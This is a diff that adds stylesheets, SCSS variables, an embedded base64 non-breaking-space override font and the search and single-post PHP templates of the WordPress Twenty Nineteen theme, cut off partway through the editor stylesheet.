+	@include media(desktop) {
+		margin: calc(3 * #{$size__spacing-unit}) $size__site-margins;
+	}
+
+	.author-title {
+		@include post-section-dash;
+		display: inline;
+	}
+
+	.author-description {
+
+		display: inline;
+		color: $color__text-light;
+		font-size: $font__size-md;
+		line-height: $font__line-height-heading;
+
+		.author-link {
+			display: inline-block;
+
+			&:hover {
+				color: $color__link-hover;
+				text-decoration: none;
+			}
+		}
+	}
+}
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/site/secondary/_widgets.scss
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/site/secondary/_widgets.scss	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/site/secondary/_widgets.scss	(revision 56912)
@@ -0,0 +1,81 @@
+.widget {
+	margin: 0 0 #{$size__spacing-unit};
+
+	/* Make sure select elements fit in widgets. */
+	select {
+		max-width: 100%;
+	}
+
+	a {
+		color: $color__link;
+
+		&:hover {
+			color: $color__link-hover;
+		}
+	}
+}
+
+.widget_archive,
+.widget_categories,
+.widget_meta,
+.widget_nav_menu,
+.widget_pages,
+.widget_recent_comments,
+.widget_recent_entries,
+.widget_rss {
+
+	ul {
+		padding: 0;
+		list-style: none;
+
+		li {
+			color: $color__text-light;
+			font-family: $font__heading;
+			font-size: calc(#{$font__size_base} * #{$font__size-ratio});
+			font-weight: 700;
+			line-height: $font__line-height-heading;
+			margin-top: #{0.5 * $size__spacing-unit};
+			margin-bottom: #{0.5 * $size__spacing-unit};
+		}
+
+		@include nestedSubMenuPadding();
+	}
+}
+
+.widget_tag_cloud {
+
+	.tagcloud {
+		font-family: $font__heading;
+		font-weight: 700;
+	}
+}
+
+
+.widget_search {
+
+	.search-field {
+		width: 100%;
+
+		@include media(mobile) {
+			width: auto;
+		}
+	}
+
+	.search-submit {
+		display: block;
+		margin-top: $size__spacing-unit;
+	}
+}
+
+.widget_calendar .calendar_wrap {
+	text-align: center;
+
+	table td,
+	table th {
+		border: none;
+	}
+
+	a {
+		text-decoration: underline;
+	}
+}
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/typography/_copy.scss
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/typography/_copy.scss	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/typography/_copy.scss	(revision 56912)
@@ -0,0 +1,62 @@
+p {
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+}
+
+dfn,
+cite,
+em,
+i {
+	font-style: italic;
+}
+
+blockquote {
+
+	cite {
+		font-size: $font__size-xs;
+		font-style: normal;
+		font-family: $font__heading;
+	}
+}
+
+pre {
+	font-size: $font__size-sm;
+	font-family: $font__pre;
+	line-height: $font__line-height-body;
+	overflow: auto;
+}
+
+code,
+kbd,
+tt,
+var {
+	font-size: $font__size-sm;
+	font-family: $font__code;
+}
+
+abbr, acronym {
+	border-bottom: 1px dotted #666;
+	cursor: help;
+}
+
+mark,
+ins {
+	background: #fff9c0;
+	text-decoration: none;
+}
+
+big {
+	font-size: 125%;
+}
+
+a {
+	text-decoration: none;
+
+	&:hover {
+		text-decoration: none;
+	}
+
+	&:focus {
+		text-decoration: underline;
+	}
+}
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/typography/_headings.scss
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/typography/_headings.scss	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/typography/_headings.scss	(revision 56912)
@@ -0,0 +1,158 @@
+.author-description .author-link,
+.comment-metadata,
+.comment-reply-link,
+.comments-title,
+.comment-author .fn,
+.discussion-meta-info,
+.entry-meta,
+.entry-footer,
+.main-navigation,
+.no-comments,
+.not-found .page-title,
+.error-404 .page-title,
+.post-navigation .post-title,
+.page-links,
+.page-description,
+.pagination .nav-links,
+.sticky-post,
+.site-title,
+.site-info,
+#cancel-comment-reply-link,
+img:after,
+h1,
+h2,
+h3,
+h4,
+h5,
+h6 {
+	font-family: $font__heading;
+}
+
+.main-navigation,
+.page-description,
+.author-description .author-link,
+.not-found .page-title,
+.error-404 .page-title,
+.post-navigation .post-title,
+.pagination .nav-links,
+.comments-title,
+.comment-author .fn,
+.no-comments,
+.site-title,
+h1,
+h2,
+h3,
+h4,
+h5,
+h6 {
+	font-weight: 700;
+	letter-spacing: -0.02em;
+	line-height: $font__line-height-heading;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+}
+
+.page-title {
+	font-family: $font__body;
+}
+
+.site-branding,
+.main-navigation ul.main-menu > li,
+.social-navigation,
+.author-description .author-bio,
+.nav-links {
+	line-height: 1.25;
+}
+
+h1 {
+	font-size: $font__size-xl;
+
+	@include media(tablet) {
+		font-size: $font__size-xxl;
+	}
+}
+
+.entry-title,
+.not-found .page-title,
+.error-404 .page-title,
+.has-larger-font-size,
+h2 {
+	font-size: $font__size-lg;
+
+	@include media(tablet) {
+		font-size: $font__size-xl;
+	}
+}
+
+.has-regular-font-size,
+.has-large-font-size,
+.comments-title,
+h3 {
+	font-size: $font__size-lg;
+}
+
+.site-title,
+.site-description,
+.main-navigation,
+.nav-links,
+.page-title,
+.page-description,
+.comment-author .fn,
+.no-comments,
+h2.author-title,
+p.author-bio,
+h4 {
+	font-size: $font__size-md;
+}
+
+.pagination .nav-links,
+.comment-content,
+h5 {
+	font-size: $font__size-sm;
+}
+
+.entry-meta,
+.entry-footer,
+.discussion-meta-info,
+.site-info,
+.has-small-font-size,
+.comment-reply-link,
+.comment-metadata,
+.comment-notes,
+.sticky-post,
+#cancel-comment-reply-link,
+img:after,
+h6 {
+	font-size: $font__size-xs;
+}
+
+.site-title,
+.page-title {
+	font-weight: normal;
+}
+
+.page-description,
+.page-links a {
+	font-weight: bold;
+}
+
+.site-description {
+	letter-spacing: -0.01em;
+}
+
+.post-navigation .post-title,
+.entry-title,
+.not-found .page-title,
+.error-404 .page-title,
+.comments-title,
+blockquote {
+	hyphens: auto;
+	word-break: break-word;
+}
+
+/* Do not hyphenate entry title on tablet view and bigger. */
+.entry-title {
+	@include media(tablet) {
+		hyphens: none;
+	}
+}
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/typography/_typography.scss
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/typography/_typography.scss	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/typography/_typography.scss	(revision 56912)
@@ -0,0 +1,34 @@
+
+html {
+	font-size: $font__size_base;
+}
+
+body {
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+	color: $color__text-main;
+	font-family: $font__body;
+	font-weight: 400;
+	font-size: 1em;
+	line-height: $font__line-height-body;
+	margin: 0;
+	text-rendering: optimizeLegibility;
+}
+
+button,
+input,
+select,
+optgroup,
+textarea {
+	color: $color__text-main;
+	font-family: $font__body;
+	font-weight: 400;
+	line-height: $font__line-height-body;
+	text-rendering: optimizeLegibility;
+}
+
+@import "headings";
+
+@import "copy";
+
+@include non-latin-fonts();
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/variables-site/_colors.scss
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/variables-site/_colors.scss	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/variables-site/_colors.scss	(revision 56912)
@@ -0,0 +1,34 @@
+
+// Backgrounds
+$color__background-body: #fff;
+$color__background-input: #fff;
+$color__background-screen: #f1f1f1;
+$color__background-hr: #ccc;
+$color__background-button: #0073aa;
+$color__background-button-hover: #111;
+$color__background-pre: #eee;
+$color__background-ins: #fff9c0;
+$color__background_selection: mix( $color__background-body, $color__background-button, 75% ); // lighten( salmon, 22.5% ); // lighten( #0999d4, 48% );
+
+// Text
+$color__text-main: #111;
+$color__text-light: #767676;
+$color__text-hover: lighten( #111, 22.5% );
+$color__text-screen: #21759b;
+$color__text-input: #666;
+$color__text-input-focus: #111;
+
+// Links
+$color__link: #0073aa;
+$color__link-visited: #0073aa;
+$color__link-hover: darken( $color__link, 10% );
+
+// Borders
+$color__border: #ccc;
+$color__border-link: #0073aa;
+$color__border-link-hover: darken( $color__link, 10% );
+$color__border-button: #ccc #ccc #bbb;
+$color__border-button-hover: #ccc #bbb #aaa;
+$color__border-button-focus: #aaa #bbb #bbb;
+$color__border-input: $color__border;
+$color__border-abbr: #666;
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/variables-site/_columns.scss
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/variables-site/_columns.scss	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/variables-site/_columns.scss	(revision 56912)
@@ -0,0 +1,16 @@
+$columns: (
+	1: calc(1 * (100vw / 12)),
+	2: calc(2 * (100vw / 12)),
+	3: calc(3 * (100vw / 12)),
+	4: calc(4 * (100vw / 12)),
+	5: calc(5 * (100vw / 12)),
+	6: calc(6 * (100vw / 12)),
+	7: calc(7 * (100vw / 12)),
+	8: calc(8 * (100vw / 12)),
+	9: calc(9 * (100vw / 12)),
+	10: calc(10 * (100vw / 12)),
+	11: calc(11 * (100vw / 12)),
+	12: calc(12 * (100vw / 12))
+);
+
+$columns__margin: $size__spacing-unit;
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/variables-site/_fonts.scss
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/variables-site/_fonts.scss	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/variables-site/_fonts.scss	(revision 56912)
@@ -0,0 +1,37 @@
+/*
+ * Chrome renders extra-wide &nbsp; characters for the Hoefler Text font.
+ * This results in a jumping cursor when typing in both the Classic and block
+ * editors. The following font-face override fixes the issue by manually inserting
+ * a custom font that includes just a Hoefler Text space replacement for that
+ * character instead.
+ */
+@font-face {
+	font-family: 'NonBreakingSpaceOverride';
+	src: url(data:application/font-woff2;charset=utf-8;base64,d09GMgABAAAAAAMoAA0AAAAACDQAAALTAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP0ZGVE0cGh4GYACCahEICjx3CywAATYCJANUBCAFhiEHgWwbXQfILgpsY+rQRRARwyAs6uL7pxzYhxEE+32b3aeHmifR6tklkS9hiZA0ewkqGRJE+H7/+6378ASViK/PGeavqJyOzsceKi1s3BCiQsiOdn1r/RBgIJYEgCUhbm/8/8/h4saPssnTNkkiWUBrTRtjmQSajw3Ui3pZ3LYDPD+XG2C3JA/yKAS8/rU5eNfuGqRf4eNNgV4YAlIIgxglEkWe6FYpq10+wi3g+/nUgvgPFczNrz/RsTgVm/zfbPuHZlsuQECxuyqBcQwKFBjFgKO8AqP4bAN9tFJtnM9xPcbNjeXS/x1wY/xU52f5W/X1+9cnH4YwKIaoRRAkUkj/YlAAeF/624foiIDBgBmgQBeGAyhBljUPZUm/l2dTvmpqcBDUOHdbPZWd8JsBAsGr4w8/EDn82/bUPx4eh0YNrQTBuHO2FjQEAGBwK0DeI37DpQVqdERS4gZBhpeUhWCfLFz7J99aEBgsJCHvUGAdAPp4IADDCAPCEFMGpMZ9AQpTfQtQGhLbGVBZFV8BaqNyP68oTZgHNj3M8kBPfXTTC9t90UuzYhy9ciH0grVlOcqyCytisvbsERsEYztiznR0WCrmTksJwbSNK6fd1Rvr25I9oLvctUoEbNOmXJbqgYgPXEHJ82IUsrCnpkxh23F1rfZ2zcRnJYoXtauB3VTFkFXQg3uoZYD5qE0kdjDtoDoF1h2bulGmev5HbYhbrjtohQSRI4aNOkffIcT+d3v6atpaYh3JvPoQsztCcqvaBkppDSPcQ3bw3KaCBo1f5CJWTZEgW3LjLofYg51MaVezrx8xZitYbQ9KYeoRaqQdVLwSEfrKXLK1otCWOKNdR/YwYAfon5Yk8O2MJfSD10dPGA5PIJJQMkah0ugMJiv6x4Dm7LEa8xnrRGGGLAg4sAlbsA07sAt76DOsXKO3hIjtIlpnnFrt1qW4kh6NhS83P/6HB/fl1SMAAA==) format('woff2'),
+		 url(data:application/font-woff;charset=utf-8;base64,d09GRgABAAAAAAUQAA0AAAAACDQAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAABGRlRNAAAE9AAAABwAAAAchf5yU0dERUYAAATYAAAAHAAAAB4AJwAbT1MvMgAAAaAAAABJAAAAYJAcgU5jbWFwAAACIAAAAF4AAAFqUUxBZ2dhc3AAAATQAAAACAAAAAgAAAAQZ2x5ZgAAApAAAAAyAAAAPL0n8y9oZWFkAAABMAAAADAAAAA2Fi93Z2hoZWEAAAFgAAAAHQAAACQOSgWaaG10eAAAAewAAAAzAAAAVC7TAQBsb2NhAAACgAAAABAAAAAsAOQBAm1heHAAAAGAAAAAHQAAACAAWQALbmFtZQAAAsQAAAF6AAADIYvD/Adwb3N0AAAEQAAAAI4AAADsapk2o3jaY2BkYGAA4ov5mwzj+W2+MnCzXwCKMNzgCBSB0LfbQDQ7AxuI4mBgAlEAFKQIRHjaY2BkYGD3+NvCwMDBAALsDAyMDKhAFAA3+wH3AAAAeNpjYGRgYBBl4GBgYgABEMnIABJzAPMZAAVmAGUAAAB42mNgZlJhnMDAysDCKsKygYGBYRqEZtrDYMT4D8gHSmEHjgUFOQwODAqqf9g9/rYwMLB7MNUAhRlBcsxBrMlASoGBEQAj8QtyAAAAeNrjYGBkAAGmWQwMjO8gmBnIZ2NA0ExAzNjAAFYJVn0ASBsD6VAIDZb7AtELAgANIgb9AHjaY2BgYGaAYBkGRgYQSAHyGMF8FgYPIM3HwMHAxMDGoMCwQIFLQV8hXvXP//9AcRCfAcb///h/ygPW+w/vb7olBjUHCTCyMcAFGZmABBO6AogThgZgIUsXAEDcEzcAAHjaY2BgECMCyoEgACZaAed42mNgYmRgYGBnYGNgYAZSDJqMgorCgoqCjECRXwwNrCAKSP5mAAFGBiRgyAAAi/YFBQAAeNqtkc1OwkAUhU/5M25cEhcsZick0AwlBJq6MWwgJkAgYV/KAA2lJeUn+hY+gktXvpKv4dLTMqKycGHsTZNv7px7z50ZAFd4hYHjdw1Ls4EiHjVncIFnzVnc4F1zDkWjrzmPW+NNcwGlzIRKI3fJlUyrEjZQxb3mDH2fNGfRx4vmHKqG0JzHg6E0F9DOlFBGBxUI1GEzLNT4S0aLuTtsGAEUuYcQHkyg3KmIum1bNUvKlrjbbAIleqHHnS4iSudpQcySMYtdFiXlAxzSbAwfMxK6kZoHKhbjjespMTioOPZnzI+4ucCeTVyKMVKLfeAS6vSWaTinuZwzyy/Dc7vaed+6KaV0kukdPUk6yOcctZPvvxxqksq2lEW8RvHjMEO2FCl/zy6p3NEm0R9OFSafJdldc4QVeyaaObMBO0/5cCaa6d9Ggyubxire+lEojscdjoWUR1xGOy8KD8mG2ZLO2l2paDc3A39qmU2z2W5YNv5+u79e6QfGJY/hAAB42m3NywrCMBQE0DupWp/1AYI7/6DEaLQu66Mrd35BKUWKJSlFv1+rue4cGM7shgR981qSon+ZNwUJ8iDgoYU2OvDRRQ99DDDECAHGmGCKmf80hZSx/Kik/LliFbtmN6xmt+yOjdg9GztV4tROnRwX/Bsaaw51nt4Lc7tWaZYHp/MlzKx51LZs5htNri+2AAAAAQAB//8AD3jaY2BkYGDgAWIxIGZiYARCESBmAfMYAAR6AEMAAAABAAAAANXtRbgAAAAA2AhRFAAAAADYCNuG) format('woff');
+
+}
+
+// Font and typographic variables
+
+$font__body: "NonBreakingSpaceOverride", "Hoefler Text", "Baskerville Old Face", Garamond, "Times New Roman", serif;
+$font__heading: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue", sans-serif;
+$font__code: Menlo, monaco, Consolas, Lucida Console, monospace;
+$font__pre: "Courier 10 Pitch", Courier, monospace;
+
+$font__size_base: 22px;
+$font__size-ratio: 1.125;
+
+$font__size-xxs:   1em / (1.5 * $font__size-ratio);
+$font__size-xs:    1em / (1.25 * $font__size-ratio);
+$font__size-sm:    1em / (1 * $font__size-ratio);
+$font__size-md:    1em * (1 * $font__size-ratio);
+$font__size-lg:    1em * (1.5 * $font__size-ratio);
+$font__size-xl:    1em * (2 * $font__size-ratio);
+$font__size-xxl:   1em * (2.5 * $font__size-ratio);
+$font__size-xxxl:  1em * (3 * $font__size-ratio);
+
+$font__line-height-body: 1.8;
+$font__line-height-pre: 1.6;
+$font__line-height-heading: 1.2;
+$font__line-height-double:  2 * $font__line-height-heading;
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/variables-site/_structure.scss
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/variables-site/_structure.scss	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/variables-site/_structure.scss	(revision 56912)
@@ -0,0 +1,16 @@
+// Responsive widths.
+
+$size__spacing-unit: 1rem;
+$size__site-main: 100%;
+$size__site-sidebar: 25%;
+$size__site-margins: calc(10% + 60px);
+$size__site-tablet-content: calc(8 * (100vw / 12) - 28px);
+$size__site-desktop-content: calc(6 * (100vw / 12) - 28px);
+
+// Responsive widths.
+
+$mobile_width: 600px;
+$tablet_width: 768px;
+$desktop_width: 1168px;
+$wide_width: 1379px;
+
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/variables-site/_transitions.scss
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/variables-site/_transitions.scss	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/variables-site/_transitions.scss	(revision 56912)
@@ -0,0 +1,6 @@
+// Transition timeouts.
+
+$link_transition: 110ms;
+$icon_transition: 120ms;
+$button_transition: 150ms;
+$background_transition: 200ms;
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/variables-site/_variables-site.scss
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/variables-site/_variables-site.scss	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/variables-site/_variables-site.scss	(revision 56912)
@@ -0,0 +1,5 @@
+@import "colors";
+@import "fonts";
+@import "structure";
+@import "columns";
+@import "transitions";
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/search.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/search.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/search.php	(revision 56912)
@@ -0,0 +1,55 @@
+<?php
+/**
+ * The template for displaying search results pages
+ *
+ * @link https://developer.wordpress.org/themes/basics/template-hierarchy/#search-result
+ *
+ * @package WordPress
+ * @subpackage Twenty_Nineteen
+ * @since 1.0.0
+ */
+
+get_header();
+?>
+
+	<section id="primary" class="content-area">
+		<main id="main" class="site-main">
+
+		<?php if ( have_posts() ) : ?>
+
+			<header class="page-header">
+				<h1 class="page-title">
+					<?php _e( 'Search results for:', 'twentynineteen' ); ?>
+				</h1>
+				<div class="page-description"><?php echo get_search_query(); ?></div>
+			</header><!-- .page-header -->
+
+			<?php
+			// Start the Loop.
+			while ( have_posts() ) :
+				the_post();
+
+				/*
+				 * Include the Post-Format-specific template for the content.
+				 * If you want to override this in a child theme, then include a file
+				 * called content-___.php (where ___ is the Post Format name) and that will be used instead.
+				 */
+				get_template_part( 'template-parts/content/content', 'excerpt' );
+
+				// End the loop.
+			endwhile;
+
+			// Previous/next page navigation.
+			twentynineteen_the_posts_navigation();
+
+			// If no content, include the "No posts found" template.
+		else :
+			get_template_part( 'template-parts/content/content', 'none' );
+
+		endif;
+		?>
+		</main><!-- #main -->
+	</section><!-- #primary -->
+
+<?php
+get_footer();
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/single.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/single.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/single.php	(revision 56912)
@@ -0,0 +1,60 @@
+<?php
+/**
+ * The template for displaying all single posts
+ *
+ * @link https://developer.wordpress.org/themes/basics/template-hierarchy/#single-post
+ *
+ * @package WordPress
+ * @subpackage Twenty_Nineteen
+ * @since 1.0.0
+ */
+
+get_header();
+?>
+
+	<section id="primary" class="content-area">
+		<main id="main" class="site-main">
+
+			<?php
+
+			/* Start the Loop */
+			while ( have_posts() ) :
+				the_post();
+
+				get_template_part( 'template-parts/content/content', 'single' );
+
+				if ( is_singular( 'attachment' ) ) {
+					// Parent post navigation.
+					the_post_navigation(
+						array(
+							/* translators: %s: parent post link */
+							'prev_text' => sprintf( __( '<span class="meta-nav">Published in</span><span class="post-title">%s</span>', 'twentynineteen' ), '%title' ),
+						)
+					);
+				} elseif ( is_singular( 'post' ) ) {
+					// Previous/next post navigation.
+					the_post_navigation(
+						array(
+							'next_text' => '<span class="meta-nav" aria-hidden="true">' . __( 'Next Post', 'twentynineteen' ) . '</span> ' .
+								'<span class="screen-reader-text">' . __( 'Next post:', 'twentynineteen' ) . '</span> <br/>' .
+								'<span class="post-title">%title</span>',
+							'prev_text' => '<span class="meta-nav" aria-hidden="true">' . __( 'Previous Post', 'twentynineteen' ) . '</span> ' .
+								'<span class="screen-reader-text">' . __( 'Previous post:', 'twentynineteen' ) . '</span> <br/>' .
+								'<span class="post-title">%title</span>',
+						)
+					);
+				}
+
+				// If comments are open or we have at least one comment, load up the comment template.
+				if ( comments_open() || get_comments_number() ) {
+					comments_template();
+				}
+
+			endwhile; // End of the loop.
+			?>
+
+		</main><!-- #main -->
+	</section><!-- #primary -->
+
+<?php
+get_footer();
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/style-editor-customizer.css
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/style-editor-customizer.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/style-editor-customizer.css	(revision 56912)
@@ -0,0 +1,95 @@
+/*!
+Twenty Nineteen Customizer Styles & Non-latin Font Fallbacks
+
+NOTE: This file is automatically populated with additional styles if the user selects a custom primary color in the customzier.
+*/
+/** === Includes === */
+/* If we add the border using a regular CSS border, it won't look good on non-retina devices,
+ * since its edges can look jagged due to lack of antialiasing. In this case, we are several
+ * layers of box-shadow to add the border visually, which will render the border smoother. */
+/* Fallback for non-latin fonts */
+/* Calculates maximum width for post content */
+/* Nested sub-menu padding: 10 levels deep */
+/** === Non-Latin font fallbacks === */
+/* Arabic */
+html[lang="ar"] .wp-block *,
+html[lang="ary"] .wp-block *,
+html[lang="azb"] .wp-block *,
+html[lang="ckb"] .wp-block *,
+html[lang="fa-IR"] .wp-block *,
+html[lang="haz"] .wp-block *,
+html[lang="ps"] .wp-block * {
+  font-family: Tahoma, Arial, sans-serif !important;
+}
+
+/* Cyrillic */
+html[lang="be"] .wp-block *,
+html[lang="bg-BG"] .wp-block *,
+html[lang="kk"] .wp-block *,
+html[lang="mk-MK"] .wp-block *,
+html[lang="mn"] .wp-block *,
+html[lang="ru-RU"] .wp-block *,
+html[lang="sah"] .wp-block *,
+html[lang="sr-RS"] .wp-block *,
+html[lang="tt-RU"] .wp-block *,
+html[lang="uk"] .wp-block * {
+  font-family: 'Helvetica Neue', Helvetica, 'Segoe UI', Arial, sans-serif !important;
+}
+
+/* Chinese (Hong Kong) */
+html[lang="zh-HK"] .wp-block * {
+  font-family: -apple-system, BlinkMacSystemFont, 'PingFang HK', 'Helvetica Neue', "Microsoft YaHei New", STHeiti Light, sans-serif !important;
+}
+
+/* Chinese (Taiwan) */
+html[lang="zh-TW"] .wp-block * {
+  font-family: -apple-system, BlinkMacSystemFont, 'PingFang TC', 'Helvetica Neue', "Microsoft YaHei New", STHeiti Light, sans-serif !important;
+}
+
+/* Chinese (China) */
+html[lang="zh-CN"] .wp-block * {
+  font-family: -apple-system, BlinkMacSystemFont, 'PingFang SC', 'Helvetica Neue', "Microsoft YaHei New", STHeiti Light, sans-serif !important;
+}
+
+/* Devanagari */
+html[lang="bn-BD"] .wp-block *,
+html[lang="hi-IN"] .wp-block *,
+html[lang="mr"] .wp-block *,
+html[lang="ne-NP"] .wp-block * {
+  font-family: Arial, sans-serif !important;
+}
+
+/* Greek */
+html[lang="el"] .wp-block * {
+  font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif !important;
+}
+
+/* Gujarati */
+html[lang="gu"] .wp-block * {
+  font-family: Arial, sans-serif !important;
+}
+
+/* Hebrew */
+html[lang="he-IL"] .wp-block * {
+  font-family: 'Arial Hebrew', Arial, sans-serif !important;
+}
+
+/* Japanese */
+html[lang="ja"] .wp-block * {
+  font-family: -apple-system, BlinkMacSystemFont, "Hiragino Sans", Meiryo, "Helvetica Neue", sans-serif !important;
+}
+
+/* Korean */
+html[lang="ko-KR"] .wp-block * {
+  font-family: 'Apple SD Gothic Neo', 'Malgun Gothic', 'Nanum Gothic', Dotum, sans-serif !important;
+}
+
+/* Thai */
+html[lang="th"] .wp-block * {
+  font-family: 'Sukhumvit Set', 'Helvetica Neue', helvetica, arial, sans-serif !important;
+}
+
+/* Vietnamese */
+html[lang="vi"] .wp-block * {
+  font-family: 'Libre Franklin', sans-serif !important;
+}
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/style-editor-customizer.scss
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/style-editor-customizer.scss	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/style-editor-customizer.scss	(revision 56912)
@@ -0,0 +1,13 @@
+/*!
+Twenty Nineteen Customizer Styles & Non-latin Font Fallbacks
+
+NOTE: This file is automatically populated with additional styles if the user selects a custom primary color in the customzier.
+*/
+
+/** === Includes === */
+
+@import "sass/mixins/mixins-master";
+
+/** === Non-Latin font fallbacks === */
+
+@include non-latin-fonts( '.wp-block' );
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/style-editor.css
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/style-editor.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/style-editor.css	(revision 56912)
@@ -0,0 +1,771 @@
+@charset "UTF-8";
+/*!
+Twenty Nineteen Editor Styles
+*/
+/** === Includes === */
+/*
+ * Chrome renders extra-wide &nbsp; characters for the Hoefler Text font.
+ * This results in a jumping cursor when typing in both the Classic and block
+ * editors. The following font-face override fixes the issue by manually inserting
+ * a custom font that includes just a Hoefler Text space replacement for that
+ * character instead.
+ */
+@font-face {
+  font-family: 'NonBreakingSpaceOverride';
+  src: url(data:application/font-woff2;charset=utf-8;base64,d09GMgABAAAAAAMoAA0AAAAACDQAAALTAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP0ZGVE0cGh4GYACCahEICjx3CywAATYCJANUBCAFhiEHgWwbXQfILgpsY+rQRRARwyAs6uL7pxzYhxEE+32b3aeHmifR6tklkS9hiZA0ewkqGRJE+H7/+6378ASViK/PGeavqJyOzsceKi1s3BCiQsiOdn1r/RBgIJYEgCUhbm/8/8/h4saPssnTNkkiWUBrTRtjmQSajw3Ui3pZ3LYDPD+XG2C3JA/yKAS8/rU5eNfuGqRf4eNNgV4YAlIIgxglEkWe6FYpq10+wi3g+/nUgvgPFczNrz/RsTgVm/zfbPuHZlsuQECxuyqBcQwKFBjFgKO8AqP4bAN9tFJtnM9xPcbNjeXS/x1wY/xU52f5W/X1+9cnH4YwKIaoRRAkUkj/YlAAeF/624foiIDBgBmgQBeGAyhBljUPZUm/l2dTvmpqcBDUOHdbPZWd8JsBAsGr4w8/EDn82/bUPx4eh0YNrQTBuHO2FjQEAGBwK0DeI37DpQVqdERS4gZBhpeUhWCfLFz7J99aEBgsJCHvUGAdAPp4IADDCAPCEFMGpMZ9AQpTfQtQGhLbGVBZFV8BaqNyP68oTZgHNj3M8kBPfXTTC9t90UuzYhy9ciH0grVlOcqyCytisvbsERsEYztiznR0WCrmTksJwbSNK6fd1Rvr25I9oLvctUoEbNOmXJbqgYgPXEHJ82IUsrCnpkxh23F1rfZ2zcRnJYoXtauB3VTFkFXQg3uoZYD5qE0kdjDtoDoF1h2bulGmev5HbYhbrjtohQSRI4aNOkffIcT+d3v6atpaYh3JvPoQsztCcqvaBkppDSPcQ3bw3KaCBo1f5CJWTZEgW3LjLofYg51MaVezrx8xZitYbQ9KYeoRaqQdVLwSEfrKXLK1otCWOKNdR/YwYAfon5Yk8O2MJfSD10dPGA5PIJJQMkah0ugMJiv6x4Dm7LEa8xnrRGGGLAg4sAlbsA07sAt76DOsXKO3hIjtIlpnnFrt1qW4kh6NhS83P/6HB/fl1SMAAA==) format("woff2"), 